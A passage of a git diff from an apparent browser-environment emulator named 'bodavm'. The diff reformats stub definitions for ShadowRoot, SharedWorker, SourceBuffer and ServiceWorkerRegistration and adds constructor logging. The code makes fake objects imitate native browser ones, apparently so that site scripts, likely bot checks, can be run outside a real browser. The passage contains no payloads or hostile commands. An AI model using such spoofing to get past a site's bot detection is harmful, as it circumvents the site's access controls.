+bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "updateViaCache", { + configurable: true, + enumerable: true, + get: function updateViaCache() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "updateViaCache_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "onupdatefound", { + configurable: true, + enumerable: true, + get: function onupdatefound() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "onupdatefound_get", arguments); + }, + set: function onupdatefound() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "onupdatefound_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "unregister", { + configurable: true, + enumerable: true, + writable: true, + value: function unregister() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "unregister", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "update", { + configurable: true, + enumerable: true, + writable: true, + value: function update() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "update", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "paymentManager", { + configurable: true, + enumerable: true, + get: function paymentManager() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "paymentManager_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "backgroundFetch", { + configurable: true, + enumerable: true, + get: function backgroundFetch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "backgroundFetch_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "periodicSync", { + configurable: true, + enumerable: true, + get: function periodicSync() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "periodicSync_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "sync", { + configurable: true, + enumerable: true, + get: function sync() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "sync_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "cookies", { + configurable: true, + enumerable: true, + get: function cookies() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "cookies_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "pushManager", { + configurable: true, + enumerable: true, + get: function pushManager() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "pushManager_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "getNotifications", { + configurable: true, + enumerable: true, + writable: true, + value: function getNotifications() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "getNotifications", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "showNotification", { + configurable: true, + enumerable: true, + writable: true, + value: function showNotification() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "showNotification", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ShadowRoot.js b/env_xbb_lastest_jsdom/env/ShadowRoot.js index 6dec361a..c3ce389e 100644 --- a/env_xbb_lastest_jsdom/env/ShadowRoot.js +++ b/env_xbb_lastest_jsdom/env/ShadowRoot.js @@ -1,22 +1,163 @@ -// ShadowRoot对象 -bodavm.memory.globalobj['ShadowRoot'] = function ShadowRoot(){if (!(this instanceof ShadowRoot)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ShadowRoot'], "ShadowRoot"); -bodavm.memory.globalobj['ShadowRoot'].prototype.__proto__=bodavm.memory.globalobj['DocumentFragment'].prototype; -bodavm.memory.globalobj['ShadowRoot'].__proto__=bodavm.memory.globalobj['DocumentFragment']; -bodavm.toolsFunc.defineProperty('ShadowRoot', "mode", {configurable:true, enumerable:true, get:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "mode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "host", {configurable:true, enumerable:true, get:function host (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "host_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "onslotchange", {configurable:true, enumerable:true, get:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "onslotchange_get", arguments)}, set:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "onslotchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "innerHTML", {configurable:true, enumerable:true, get:function innerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "innerHTML_get", arguments)}, set:function innerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "innerHTML_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "delegatesFocus", {configurable:true, enumerable:true, get:function delegatesFocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "delegatesFocus_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "slotAssignment", {configurable:true, enumerable:true, get:function slotAssignment (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "slotAssignment_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "pictureInPictureElement", {configurable:true, enumerable:true, get:function pictureInPictureElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "pictureInPictureElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "activeElement", {configurable:true, enumerable:true, get:function activeElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "activeElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "styleSheets", {configurable:true, enumerable:true, get:function styleSheets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "styleSheets_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "pointerLockElement", {configurable:true, enumerable:true, get:function pointerLockElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "pointerLockElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "fullscreenElement", {configurable:true, enumerable:true, get:function fullscreenElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "fullscreenElement_get", arguments)}, set:function fullscreenElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "fullscreenElement_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "adoptedStyleSheets", {configurable:true, enumerable:true, get:function adoptedStyleSheets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "adoptedStyleSheets_get", arguments)}, set:function adoptedStyleSheets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "adoptedStyleSheets_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "elementFromPoint", {configurable:true, enumerable:true, writable:true, value:function elementFromPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "elementFromPoint", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "elementsFromPoint", {configurable:true, enumerable:true, writable:true, value:function elementsFromPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "elementsFromPoint", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "getInnerHTML", {configurable:true, enumerable:true, writable:true, value:function getInnerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "getInnerHTML", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "getSelection", {configurable:true, enumerable:true, writable:true, value:function getSelection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "getSelection", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ShadowRoot', "getAnimations", {configurable:true, enumerable:true, writable:true, value:function getAnimations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "getAnimations", arguments)}},'prototype'); +// ShadowRoot对象 + +bodavm.memory.globalobj['ShadowRoot'] = function ShadowRoot() { + console.log_copy('ShadowRoot 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ShadowRoot)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ShadowRoot'], "ShadowRoot"); +bodavm.memory.globalobj['ShadowRoot'].prototype.__proto__ = bodavm.memory.globalobj['DocumentFragment'].prototype; +bodavm.memory.globalobj['ShadowRoot'].__proto__ = bodavm.memory.globalobj['DocumentFragment']; +bodavm.toolsFunc.defineProperty('ShadowRoot', "mode", { + configurable: true, + enumerable: true, + get: function mode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "mode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "host", { + configurable: true, + enumerable: true, + get: function host() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "host_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "onslotchange", { + configurable: true, + enumerable: true, + get: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "onslotchange_get", arguments); + }, + set: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "onslotchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "innerHTML", { + configurable: true, + enumerable: true, + get: function innerHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "innerHTML_get", arguments); + }, + set: function innerHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "innerHTML_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "delegatesFocus", { + configurable: true, + enumerable: true, + get: function delegatesFocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "delegatesFocus_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "slotAssignment", { + configurable: true, + enumerable: true, + get: function slotAssignment() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "slotAssignment_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "pictureInPictureElement", { + configurable: true, + enumerable: true, + get: function pictureInPictureElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "pictureInPictureElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "activeElement", { + configurable: true, + enumerable: true, + get: function activeElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "activeElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "styleSheets", { + configurable: true, + enumerable: true, + get: function styleSheets() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "styleSheets_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "pointerLockElement", { + configurable: true, + enumerable: true, + get: function pointerLockElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "pointerLockElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "fullscreenElement", { + configurable: true, + enumerable: true, + get: function fullscreenElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "fullscreenElement_get", arguments); + }, + set: function fullscreenElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "fullscreenElement_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "adoptedStyleSheets", { + configurable: true, + enumerable: true, + get: function adoptedStyleSheets() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "adoptedStyleSheets_get", arguments); + }, + set: function adoptedStyleSheets() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "adoptedStyleSheets_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "elementFromPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function elementFromPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "elementFromPoint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "elementsFromPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function elementsFromPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "elementsFromPoint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "getInnerHTML", { + configurable: true, + enumerable: true, + writable: true, + value: function getInnerHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "getInnerHTML", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "getSelection", { + configurable: true, + enumerable: true, + writable: true, + value: function getSelection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "getSelection", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ShadowRoot', "getAnimations", { + configurable: true, + enumerable: true, + writable: true, + value: function getAnimations() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ShadowRoot'].prototype, "ShadowRoot", "getAnimations", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SharedWorker.js b/env_xbb_lastest_jsdom/env/SharedWorker.js index 2b50b3fb..13f10031 100644 --- a/env_xbb_lastest_jsdom/env/SharedWorker.js +++ b/env_xbb_lastest_jsdom/env/SharedWorker.js @@ -1,7 +1,37 @@ -// SharedWorker对象 -bodavm.memory.globalobj['SharedWorker'] = function SharedWorker(){if (!(this instanceof SharedWorker)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SharedWorker': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SharedWorker'], "SharedWorker"); -bodavm.memory.globalobj['SharedWorker'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['SharedWorker'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('SharedWorker', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SharedWorker'].prototype, "SharedWorker", "port_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SharedWorker', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SharedWorker'].prototype, "SharedWorker", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SharedWorker'].prototype, "SharedWorker", "onerror_set", arguments)}},'prototype'); +// SharedWorker对象 + +bodavm.memory.globalobj['SharedWorker'] = function SharedWorker() { + console.log_copy('SharedWorker 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SharedWorker)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SharedWorker': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SharedWorker'], "SharedWorker"); +bodavm.memory.globalobj['SharedWorker'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['SharedWorker'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('SharedWorker', "port", { + configurable: true, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SharedWorker'].prototype, "SharedWorker", "port_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SharedWorker', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SharedWorker'].prototype, "SharedWorker", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SharedWorker'].prototype, "SharedWorker", "onerror_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SourceBuffer.js b/env_xbb_lastest_jsdom/env/SourceBuffer.js index bfc6217d..c748d69f 100644 --- a/env_xbb_lastest_jsdom/env/SourceBuffer.js +++ b/env_xbb_lastest_jsdom/env/SourceBuffer.js @@ -1,20 +1,157 @@ -// SourceBuffer对象 -bodavm.memory.globalobj['SourceBuffer'] = function SourceBuffer(){if (!(this instanceof SourceBuffer)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SourceBuffer'], "SourceBuffer"); -bodavm.memory.globalobj['SourceBuffer'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['SourceBuffer'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('SourceBuffer', "mode", {configurable:true, enumerable:true, get:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "mode_get", arguments)}, set:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "mode_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "updating", {configurable:true, enumerable:true, get:function updating (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "updating_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "buffered", {configurable:true, enumerable:true, get:function buffered (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "buffered_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "timestampOffset", {configurable:true, enumerable:true, get:function timestampOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "timestampOffset_get", arguments)}, set:function timestampOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "timestampOffset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "appendWindowStart", {configurable:true, enumerable:true, get:function appendWindowStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowStart_get", arguments)}, set:function appendWindowStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowStart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "appendWindowEnd", {configurable:true, enumerable:true, get:function appendWindowEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowEnd_get", arguments)}, set:function appendWindowEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowEnd_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "onupdatestart", {configurable:true, enumerable:true, get:function onupdatestart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdatestart_get", arguments)}, set:function onupdatestart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdatestart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "onupdate", {configurable:true, enumerable:true, get:function onupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdate_get", arguments)}, set:function onupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "onupdateend", {configurable:true, enumerable:true, get:function onupdateend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdateend_get", arguments)}, set:function onupdateend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdateend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onabort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "abort", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "appendBuffer", {configurable:true, enumerable:true, writable:true, value:function appendBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "changeType", {configurable:true, enumerable:true, writable:true, value:function changeType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "changeType", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "remove", arguments)}},'prototype'); +// SourceBuffer对象 + +bodavm.memory.globalobj['SourceBuffer'] = function SourceBuffer() { + console.log_copy('SourceBuffer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SourceBuffer)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SourceBuffer'], "SourceBuffer"); +bodavm.memory.globalobj['SourceBuffer'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['SourceBuffer'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('SourceBuffer', "mode", { + configurable: true, + enumerable: true, + get: function mode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "mode_get", arguments); + }, + set: function mode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "mode_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "updating", { + configurable: true, + enumerable: true, + get: function updating() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "updating_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "buffered", { + configurable: true, + enumerable: true, + get: function buffered() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "buffered_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "timestampOffset", { + configurable: true, + enumerable: true, + get: function timestampOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "timestampOffset_get", arguments); + }, + set: function timestampOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "timestampOffset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "appendWindowStart", { + configurable: true, + enumerable: true, + get: function appendWindowStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowStart_get", arguments); + }, + set: function appendWindowStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowStart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "appendWindowEnd", { + configurable: true, + enumerable: true, + get: function appendWindowEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowEnd_get", arguments); + }, + set: function appendWindowEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowEnd_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "onupdatestart", { + configurable: true, + enumerable: true, + get: function onupdatestart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdatestart_get", arguments); + }, + set: function onupdatestart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdatestart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "onupdate", { + configurable: true, + enumerable: true, + get: function onupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdate_get", arguments); + }, + set: function onupdate() { + return bodavm.toolsFunc.dispatch(this, 